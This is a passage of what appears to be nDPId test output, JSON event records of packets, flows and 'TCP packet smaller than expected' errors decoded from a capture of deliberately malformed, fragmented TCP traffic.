-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3406,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJkAGQ4sKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3407,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027740923} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3407,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKEAGQ4kKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3408,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027740935} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3408,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKkAGQ4cKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3409,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027740948} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3409,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3410,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027740961} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3410,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3411,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027740973} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3411,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3412,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027740985} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3412,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3413,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027740997} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":3413,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3414,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027741009} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3414,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3415,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027741023} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3415,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3416,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027741035} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3416,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3417,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027741047} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3417,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3418,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027741058} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3418,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3419,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027741070} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3419,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3420,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027741083} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3420,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3421,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027741095} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3421,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3422,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027741109} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3422,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3423,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027741121} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3423,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3424,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027741133} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3424,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3425,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027741145} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3425,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3426,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027741160} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3426,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAigpKComXiUkI0AjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3427,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027741172} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3427,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3428,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027741218} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3428,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAkQyKiZERkdISksmXiUkIyM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3429,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027741233} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3429,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3430,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027741245} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3430,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3431,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027741258} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3431,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3432,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027741269} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3432,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3433,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027741280} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3433,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3434,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027741293} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3434,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3435,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027741305} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3435,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3436,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027741510} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3436,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3437,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027741522} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3437,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3438,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027741534} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3438,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3439,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027741547} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3439,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3440,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027741559} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3440,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3441,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027741570} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3441,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3442,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027741582} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3442,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3443,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":42,"expected":54,"global_ts_usec":1534244027741595} -00345{"packet_event_id":1,"packet_event_name":"packet","packet_id":3443,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":42,"pkt_l4_len":8,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAkdWCjQyMTQ2"} 00765{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3444,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":12,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1534244028041673,"flow_src_last_pkt_time":1534244028041673,"flow_dst_last_pkt_time":1534244028041673,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":1,"thread_ts_usec":1534244028041673,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":13105,"dst_port":14648,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00525{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3444,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_src_last_pkt_time":1534244028041673,"flow_dst_last_pkt_time":1534244028041673,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCNCBAAA"} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3445,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028041690} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3445,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3446,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028041703} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3446,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3447,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028041716} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3447,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3448,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028041727} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3448,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3449,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028041739} 